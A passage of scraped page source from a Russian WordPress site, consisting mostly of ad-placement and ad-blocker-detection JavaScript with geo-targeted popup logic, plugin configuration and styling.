elementToAdd.classList.add("scMark"); } elementToAdd.dataset.rbinder = binderName; elementToAdd.innerHTML = containerFor6th[j]["text"]; if (!elementToAdd) { break; } block_number = elementToAdd.children[0].attributes['data-id'].value; elementToAddStyle = createStyleElement(block_number, containerFor6th[j]["elementCss"]); if (elementToAddStyle&&elementToAddStyle!='default') { elementToAdd.style.textAlign = elementToAddStyle; } localMiddleValue = tlArray[i]['lengthSum'] - Math.round(tlArray[i]['length']/2); elementToBind = tlArray[i]['element']; currentElementReceiverSpec(false, i, tlArray, elementToBind); if (textNeedyLength < localMiddleValue) { elementToBind.parentNode.insertBefore(elementToAdd, elementToBind); } else { elementToBind.parentNode.insertBefore(elementToAdd, elementToBind.nextSibling); } elementToBind.classList.add('rbinder-'+binderName); elementToAdd.classList.remove('coveredAd'); break; } } } return false; } function clearTlMarks() { let marksForDeleting = document.querySelectorAll('.textLengthMarker'); if (marksForDeleting.length > 0) { for (let i = 0; i < marksForDeleting.length; i++) { marksForDeleting[i].remove(); } } } if (!document.getElementById("markedSpan")) { insertByPercents(textLength); clearTlMarks(); var spanMarker = document.createElement("span"); spanMarker.setAttribute("id", "markedSpan"); lordOfElements.prepend(spanMarker); } } catch (e) { console.log(e.message); } } function saveContentBlock(contentContainer) { try { if (!gather_content) { console.log('content gather save function entered'); let xhttp = new XMLHttpRequest(); let sendData = 'action=RFWP_saveContentContainer&type=gatherContentBlock&data='+contentContainer; xhttp.onreadystatechange = function(redata) { if (this.readyState == 4 && this.status == 200) { console.log('content gather succeed'); } else { console.log('content gather gone wrong'); } }; xhttp.open("POST", rb_ajaxurl, true); xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhttp.send(sendData); } } catch (er) { console.log('content gather error: '+er+';'); } } window.gatherContentBlock = function() { let cPointer = null, cPointerParent = null, cPointerParentString = null, classWords = ['content','entry','post','wrap','description','taxonomy'], classChoosed = false; cPointer = document.querySelector('#content_pointer_id'); if (cPointer) { if (window.jsInputerLaunch!==15) { return false; } cPointerParent = cPointer.parentElement; if (cPointerParent) { if (cPointerParent.id) { cPointerParentString = '#'+cPointerParent.id; } else { if (cPointerParent.classList.length > 0) { cPointerParentString = '.'+cPointerParent.classList[0]; for (let j = 0; j < classWords.length; j++) { for (let i = 0; i < cPointerParent.classList.length; i++) { if (cPointerParent.classList[i].includes(classWords[j])) { cPointerParentString = '.'+cPointerParent.classList[i]; classChoosed = true; break; } } if (classChoosed===true) { break; } } } } if (cPointerParentString) { console.log('content gather content block detected'); /* cPointerParentString = JSON.stringify(cPointerParentString); */ saveContentBlock(cPointerParentString); } } } else { console.log('content gather delayed'); setTimeout(function () { gatherContentBlock(); }, 500); } }; window.removeMarginClass = function(blockObject) { if (blockObject && typeof window.jsInputerLaunch !== 'undefined' && [15, 10].includes(window.jsInputerLaunch)) { let binderName, neededElement, currentDirection, seekerIterationCount, currentSubling; binderName = blockObject.dataset.rbinder; if (binderName) { seekerIterationCount = 0; currentDirection = 'before'; do { seekerIterationCount++; currentSubling = blockObject.nextElementSibling; if (currentSubling&¤tSubling.classList.contains('rbinder-'+binderName)) { neededElement = currentSubling; } } while (currentSubling&&!neededElement&&seekerIterationCount < 5); if (!neededElement) { seekerIterationCount = 0; currentDirection = 'after'; do { seekerIterationCount++; currentSubling = blockObject.previousElementSibling; if (currentSubling&¤tSubling.classList.contains('rbinder-'+binderName)) { neededElement = currentSubling; } } while (currentSubling&&!neededElement&&seekerIterationCount < 5); } if (neededElement) { if (currentDirection === 'before') { neededElement.classList.remove('rfwp_removedMarginTop'); } else { neededElement.classList.remove('rfwp_removedMarginBottom'); } } } } return false; }; function elementBinderNameGenerator() { let binderName = '', checkedElements, passed = false; while (passed===false) { binderName = Math.floor(Math.random()*100000); checkedElements = document.querySelectorAll('[data-rbinder="'+binderName+'"]'); if (checkedElements.length < 1) { passed = true; } } return binderName; }</script> <script>if (typeof rb_ajaxurl==='undefined') {var rb_ajaxurl = 'https://vhod-v-lichnyj-kabinet.ru/wp-admin/admin-ajax.php';} if (typeof cache_devices==='undefined') {var cache_devices = true;} var nReadyBlock = false; var fetchedCounter = 0; function sendReadyBlocksNew(blocks) { if (!cache_devices) { let xhttp = new XMLHttpRequest(); let sendData = 'action=saveAdBlocks&type=blocksGethering&data='+blocks; xhttp.onreadystatechange = function(redata) { if (this.readyState == 4 && this.status == 200) { console.log('cache succeed'); } }; xhttp.open("POST", rb_ajaxurl, true); xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhttp.send(sendData); } } function gatherReadyBlocks() { if (block_classes && block_classes.length) { let blocks = {}; let counter1 = 0; let gatheredBlocks = document.querySelectorAll('.' + block_classes.join(', .')); let checker = 0; let adContent = ''; let curState = ''; let thisData = []; let sumData = []; let newBlocks = ''; let thisDataString = ''; if (gatheredBlocks.length > 0) { blocks.data = {}; for (let i = 0; i < gatheredBlocks.length; i++) { curState = gatheredBlocks[i]['dataset']["state"].toLowerCase(); checker = 0; if (curState&&gatheredBlocks[i]['innerHTML'].length > 0&&gatheredBlocks[i]['dataset']['aid'] > 0&&curState!='no-block') { if (gatheredBlocks[i]['innerHTML'].length > 0) { checker = 1; } if (checker==1) { blocks.data[counter1] = {id:gatheredBlocks[i]['dataset']['id'],code:gatheredBlocks[i]['dataset']['aid']}; counter1++; } } } blocks = JSON.stringify(blocks); sendReadyBlocksNew(blocks); } } else nReadyBlock = true; } function timeBeforeGathering() { if (block_classes && block_classes.length > 0) { let gatheredBlocks = document.querySelectorAll('.' + block_classes.join(', .')); let okStates = ['done','refresh-wait','no-block','fetched']; let curState = ''; for (let i = 0; i < gatheredBlocks.length; i++) { if (!gatheredBlocks[i]['dataset']["state"]) { nReadyBlock = true; break; } else { curState = gatheredBlocks[i]['dataset']["state"].toLowerCase(); if (!okStates.includes(curState)) { nReadyBlock = true; break; } else if (curState=='fetched'&&fetchedCounter < 3) { fetchedCounter++; nReadyBlock = true; break; } } } } else nReadyBlock = true; if (nReadyBlock == true) { nReadyBlock = false; setTimeout(timeBeforeGathering,2000); } else { gatherReadyBlocks(); } } function launchTimeBeforeGathering() { if (document.readyState === "complete" || (document.readyState !== "loading" && !document.documentElement.doScroll)) { timeBeforeGathering(); } else { setTimeout(launchTimeBeforeGathering,100); } } launchTimeBeforeGathering();</script> <center style="display:none; visibility: hidden;"> <a href="//www.liveinternet.ru/click" target="_blank"><img src="//counter.yadro.ru/logo?26.6" title="LiveInternet: показано число посетителей за сегодня" alt="" border="0" width="88" height="15"/></a></center> <script type='text/javascript' id='contact-form-7-js-extra'>var wpcf7 = {"api":{"root":"https:\/\/vhod-v-lichnyj-kabinet.ru\/wp-json\/","namespace":"contact-form-7\/v1"}};</script> <script type='text/javascript' id='wp-postratings-js-extra'>var ratingsL10n = {"plugin_url":"https:\/\/vhod-v-lichnyj-kabinet.ru\/wp-content\/plugins\/wp-postratings","ajax_url":"https:\/\/vhod-v-lichnyj-kabinet.ru\/wp-admin\/admin-ajax.php","text_wait":"\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043d\u0435 \u0433\u043e\u043b\u043e\u0441\u0443\u0439\u0442\u0435 \u0437\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e.","image":"stars","image_ext":"gif","max":"5","show_loading":"1","show_fading":"1","custom":"0"}; var ratings_mouseover_image=new Image();ratings_mouseover_image.src="https://vhod-v-lichnyj-kabinet.ru/wp-content/plugins/wp-postratings/images/stars/rating_over.gif";;</script> <!--[if lt IE 9]> <script type='text/javascript' src='https://vhod-v-lichnyj-kabinet.ru/wp-content/themes/basic/js/html5shiv.min.js' id='basic-html5shiv-js'></script> <![endif]--> <script type='text/javascript' id='q2w3_fixed_widget-js-extra'>var q2w3_sidebar_options = [{"sidebar":"sidebar","use_sticky_position":false,"margin_top":0,"margin_bottom":0,"stop_elements_selectors":"","screen_max_width":0,"screen_max_height":0,"widgets":["#custom_html-3"]}];</script> <script type='text/javascript' id='add_linkoncopy-js-extra'>var astx_add_link_copied_text = {"readmore":"Continue reading at","addlinktosite":"","addsitename":"","breaks":"2","cleartext":"","reloption":"na","replaced_text":"","target":"","usesitenameaslink":"1","usetitle":"","sitename":"\u0412\u0445\u043e\u0434 \u0432 \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442","siteurl":"https:\/\/vhod-v-lichnyj-kabinet.ru","frontpage":""};</script> <ins id="adsense" class="adsbygoogle" data-tag="flat_pm" style="position:absolute;left:-9999px;top:-9999px">Adblock<br>detector</ins><style>.fpm_5_modal{position:fixed;top:50%;left:50%;height:auto;z-index:-2000;visibility:hidden;backface-visibility:hidden;transform:translateX(-50%) translateY(-50%)} .fpm_5_modal-show{z-index:2000;visibility:visible} .fpm_5_modal-overlay{position:fixed;width:100%;height:100%;visibility:hidden;top:0;left:0;z-index:-1000;opacity:0;background:rgba(0,0,0,.55);transition:opacity .3s ease} .fpm_5_modal-show ~ .fpm_5_modal-overlay{z-index:1000;opacity:1;visibility:visible} .fpm_5_modal-content{background:#fff;position:relative;transform:translateY(30%);opacity:0;transition:all .3s ease;min-width:200px;min-height:100px} .fpm_5_modal-show .fpm_5_modal-content{transform:translateY(0);opacity:1} .fpm_5_modal .fpm_5_timer, .fpm_5_modal .fpm_5_cross{top:0!important} .fpm_5_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0} .fpm_5_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset} .fpm_5_cross:after, .fpm_5_cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto} .fpm_5_cross:before{transform:rotate(-45deg)} .fpm_5_cross:hover:after{transform:rotate(225deg)} .fpm_5_cross:hover:before{transform:rotate(135deg)} .fpm_5_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99} .fpm_5_timer span{font-size:16px;font-weight:600} .fpm_5_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden} .fpm_5_out *{max-width:none!important} .fpm_5_out.top .fpm_5_cross{top:auto;bottom:150px} .fpm_5_out.show.top .fpm_5_cross{bottom:-0px} .fpm_5_out.bottom .fpm_5_cross{top:150px} .fpm_5_out.show.bottom .fpm_5_cross{top:-0px} .fpm_5_out.right .fpm_5_cross{right:auto;left:0} .fpm_5_out.top .fpm_5_timer{top:auto;bottom:150px} .fpm_5_out.show.top .fpm_5_timer{bottom:-0px} .fpm_5_out.bottom .fpm_5_timer{top:150px} .fpm_5_out.show.bottom .fpm_5_timer{top:-0px} .fpm_5_out.right .fpm_5_timer{right:auto;left:0} .fpm_5_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px} .fpm_5_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px} .fpm_5_out.left{bottom:0;right:100%;transform:translateX(0);left:auto} .fpm_5_out.right{bottom:0;left:100%;transform:translateX(0);right:auto} .fpm_5_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff} .fpm_5_out.closed{min-width:0;min-height:0} .fpm_5_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px} .fpm_5_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px} .fpm_5_out.show.left{transform:translateX(100%)} .fpm_5_out.show.right{transform:translateX(-100%)} .flatpm_fixed{position:fixed;z-index:50} .flatpm_stop{position:relative;z-index:50} .fpm_5_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0} .fpm_5_video iframe{display:block;width:100%;height:100%;position:absolute} .fpm_5_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease} .fpm_5_video_flex.show{opacity:1} .fpm_5_video_item{position:relative;max-height:calc(100% - 68px);max-width:calc(100% - 68px);z-index:-1} .fpm_5_video_flex.show .fpm_5_video_item{z-index:1} .fpm_5_video_flex .fpm_5_timer, .fpm_5_video_flex .fpm_5_cross{top:10px!important;right:10px!important} .fpm_5_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2}</style> <script>var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";document['wr'+'ite']=function(t){var e=document.createElement("div");ff(document.currentScript).after(e),flatPM_setHTML(e,t),ff(e).contents().unwrap()},window.flatPM_sticky=function(t,a,e){var l=t,d=null,s=e=e||0;function n(){if(null==d){for(var t=getComputedStyle(l,""),e="",n=0;n<t.length;n++)0!=t[n].indexOf("overflow")&&0!=t[n].indexOf("padding")&&0!=t[n].indexOf("border")&&0!=t[n].indexOf("outline")&&0!=t[n].indexOf("box-shadow")&&0!=t[n].indexOf("background")||(e+=t[n]+": "+t.getPropertyValue(t[n])+"; ");(d=document.createElement("div")).style.cssText=e+" box-sizing: border-box; width: "+l.offsetWidth+"px;",l.insertBefore(d,l.firstChild);for(var o=l.childNodes.length,n=1;n<o;n++)d.appendChild(l.childNodes[1]);l.style.padding="0",l.style.border="0"}l.style.height=d.getBoundingClientRect().height+"px";var r=l.getBoundingClientRect(),i=Math.round(r.top+d.getBoundingClientRect().height-a.getBoundingClientRect().bottom);r.top-s<=0?r.top-s<=i?(d.className="flatpm_stop",d.style.top=-i+"px"):(d.className="flatpm_fixed",d.style.top=s+"px"):(d.className="",d.style.top=""),window.addEventListener("resize",function(){l.children[0].style.width=getComputedStyle(l,"").width},!1)}window.addEventListener("scroll",n,!1),document.body.addEventListener("scroll",n,!1)},window.flatPM_addDays=function(t,e){var n=60*t.getTimezoneOffset()*1e3,o=t.getTime(),t=new Date;return o+=864e5*e,t.setTime(o),n!=(e=60*t.getTimezoneOffset()*1e3)&&(o+=e-n,t.setTime(o)),t},window.flatPM_adbDetect=function(){var t=document.querySelector('#adsense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!t)return!0;t=t.currentStyle||window.getComputedStyle(t,null),t=parseInt(t.height);return!(!isNaN(t)&&0!=t)},window.flatPM_setCookie=function(t,e,n){var o,r=(n=n||{path:"/"}).expires;"number"==typeof r&&r&&((o=new Date).setTime(o.getTime()+1e3*r),r=n.expires=o),r&&r.toUTCString&&(n.expires=r.toUTCString());var i,a=t+"="+(e=encodeURIComponent(e));for(i in n){a+="; "+i;var l=n[i];!0!==l&&(a+="="+l)}document.cookie=a},window.flatPM_getCookie=function(n){var t=document.cookie.split("; ").reduce(function(t,e){e=e.split("=");return e[0]===n?decodeURIComponent(e[1]):t},"");return""!=t?t:void 0},window.flatPM_testCookie=function(){var t="test_56445";try{return localStorage.setItem(t,t),localStorage.removeItem(t),!0}catch(t){return!1}},window.flatPM_grep=function(t,n,o){return ff.grep(t,function(t,e){return o?e==n:(e+1)%n==0})},window.flatPM_randomString=function(t){for(var e="",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",o=n.length,r=0;r<t;r++)e+=n.charAt(Math.floor(Math.random()*o));return e},window.flatPM_random=function(t,e){return Math.floor(Math.random()*(e-t+1))+t},window.flatPM_sanitizeUrlParams=function(t){return t&&["__proto__","constructor","prototype"].includes(t.toLowerCase())?t.toUpperCase():t},window.flatPM_getAllUrlParams=function(t){var e={};if(!t||0==t.length)return e;t=(t=flatPM_sanitizeUrlParams(t))?t.split("?")[1]:window.location.search.slice(1);if(t)for(var n=(t=t.split("#")[0]).split("&"),o=0;o<n.length;o++){var r,i=n[o].split("="),a=i[0],l=void 0===i[1]||i[1],a=a.toLowerCase();"string"==typeof l&&(l=l.toLowerCase()),a.match(/\[(\d+)?\]$/)?(e[r=a.replace(/\[(\d+)?\]/,"")]||(e[r]=[]),a.match(/\[\d+\]$/)?(i=/\[(\d+)\]/.exec(a)[1],e[r][i]=l):e[r].push(l)):e[a]?(e[a]&&"string"==typeof e[a]&&(e[a]=[e[a]]),e[a].push(l)):e[a]=l}return e};var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,o=0;o<e;o++){var a=t[o].str;if(a&&t[o].subStr.test(a))return t[o].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex"),window.flatPM_ajax=function(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})},window.flatPM_then=function(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){var o=flat_pm_then[e];flatPM_next(o)}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]},window.flatPM_persentWrapper=function(t,o,e){var a=0,r=!1;return t.each(function(){var t=ff(this),e=t.clone().find("img, ins, script, style, noscript").remove().end().text().replace(/(\s)+/g,"");if(a+=e.length,o<=a)return r=t,!1}),r},window.flatPM_setWrap=function(t){try{var e,o,a,r,i,l,s,f,n,d=document.createElement("div");d.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(d),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(d),"3"==t.how.simple.position&&ff(".flat_pm_end").before(d),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(d),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,d))||e.next().is("[data-flat-id]")||e.after(d)),"6"==t.how.simple.position&&(d.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,d),(o=!1)!==e&&(a=e.prevAll('[data-flat-type="6"]:first'),r=e.nextAll('[data-flat-type="6"]:first'),0!=a.length&&(console.log(e.prevUntil(a).text().replace(/(\s)+/g,"").length),e.prevUntil(a).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(o=!0)),0!=r.length&&(console.log(e.nextUntil(r).text().replace(/(\s)+/g,"").length),e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(o=!0)),o||e.after(d)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,l=t.how.onсe.N,s=t.how.onсe.selector,f=t.how.onсe.direction,n=t.how.onсe.before_after,0<(i=i.find(s).add(i.filter(s))).length&&(l="bottom_to_top"==f?i.length-l:l-1,"after"==n&&ff(flatPM_grep(i,l,1)).after(d),"before"==n&&ff(flatPM_grep(i,l,1)).before(d),"append"==n&&ff(flatPM_grep(i,l,1)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,1)).prepend(d))),void 0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,l=t.how.iterable.N,s=t.how.iterable.selector,f=t.how.iterable.direction,n=t.how.iterable.before_after,0<(i=i.find(s).add(i.filter(s))).length&&("bottom_to_top"==f&&(i=i.get().reverse()),"after"==n&&ff(flatPM_grep(i,l,0)).after(d),"before"==n&&ff(flatPM_grep(i,l,0)).before(d),"append"==n&&ff(flatPM_grep(i,l,0)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,0)).prepend(d)))}catch(t){console.warn(t)}},window.flatPM_next=function(a){try{var t=[],e="",o=a.html.length;if(void 0!==a.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0!==a.role&&(void 0!==a.role.role_enabled&&-1==a.role.role_enabled.indexOf(flat_userVars.role)||void 0!==a.role.role_disabled&&-1!=a.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0!==a.geo&&(void 0!==a.geo.country_enabled&&-1==a.geo.country_enabled.indexOf(flat_userVars.country)&&-1==a.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==a.geo.country_disabled&&(-1!=a.geo.country_disabled.indexOf(flat_userVars.country)||-1!=a.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==a.geo.city_enabled&&-1==a.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==a.geo.city_disabled&&-1!=a.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+a.ID+'"]').remove();for(var r,i,l,s,f=0;f<o;f++)("∞"==a.html[f].res_of||a.html[f].res_of<=flat_userVars.winwidth)&&("∞"==a.html[f].res_to||a.html[f].res_to>flat_userVars.winwidth)&&(void 0!==a.html[f].group?flat_userVars.adb?(null==t["group_"+a.html[f].group]&&(t["group_"+a.html[f].group]=[]),t["group_"+a.html[f].group].push(""==a.html[f].snd&&duplicateMode?a.html[f].fst:a.html[f].snd)):(null==t["group_"+a.html[f].group]&&(t["group_"+a.html[f].group]=[]),t["group_"+a.html[f].group].push(a.html[f].fst)):flat_userVars.adb?t.push(""==a.html[f].snd&&duplicateMode?a.html[f].fst:a.html[f].snd):t.push(a.html[f].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0===a.how.simple&&void 0===a.how.onсe&&void 0===a.how.iterable||ff('[data-flat-id="'+a.ID+'"]').each(function(){flatPM_setHTML(this,e)}),void 0!==a.how.popup&&(p="true"==a.how.popup.cross?void 0!==a.how.popup.timer&&"true"==a.how.popup.timer?'<div class="fpm_5_timer">Закрыть через <span>'+a.how.popup.timer_count+"</span></div>":'<button class="fpm_5_cross"></button>':"",document.createElement("div"),c=ff(window),b=ff("body"),g=void 0===flatPM_getCookie("flat_modal_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+a.ID+"_mb"),i="scroll.flatmodal"+a.ID,m="mouseleave.flatmodal"+a.ID+" blur.flatmodal"+a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&"true"==a.how.popup.timer&&(t=ff('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(--e),e<=0&&(clearInterval(o),t.parent().replaceWith('<button class="fpm_5_cross"></button>'))},1e3))},s=function(){void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie&&g&&(flatPM_setCookie("flat_modal_"+a.ID+"_mb",!1),ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l()),void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie||(ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l())},ff("body > *").eq(0).before('<div class="fpm_5_modal" data-flat-id="'+a.ID+'" data-id-modal="'+a.ID+'"><div class="fpm_5_modal-content">'+p+"</div></div>"),w=document.querySelector('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_modal-content'),flatPM_setHTML(w,e),"px"==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer&&(t=ff('.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(--e),e<=0&&(clearInterval(o),t.parent().replaceWith('<button class="fpm_5_cross"></button>'))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie&&g&&(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n(),b.on("click",'.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_cross',function(){flatPM_setCookie("flat_out_"+a.ID+"_mb",!1)})),void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie||(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n())}var _,u="0"!=a.how.outgoing.indent?' style="bottom:'+a.how.outgoing.indent+'px"':"",p="true"==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer?'<div class="fpm_5_timer">Закрыть через <span>'+a.how.outgoing.timer_count+"</span></div>":'<button class="fpm_5_cross"></button>':"",c=ff(window),h="scroll.out"+a.ID,m="mouseleave.outgoing"+a.ID+" blur.outgoing"+a.ID,g=void 0===flatPM_getCookie("flat_out_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+a.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(a.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="fpm_5_out '+_+'"'+u+' data-flat-id="'+a.ID+'" data-id-out="'+a.ID+'">'+p+"</div>");var v,w=document.querySelector('.fpm_5_out[data-id-out="'+a.ID+'"]');flatPM_setHTML(w,e),"px"==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 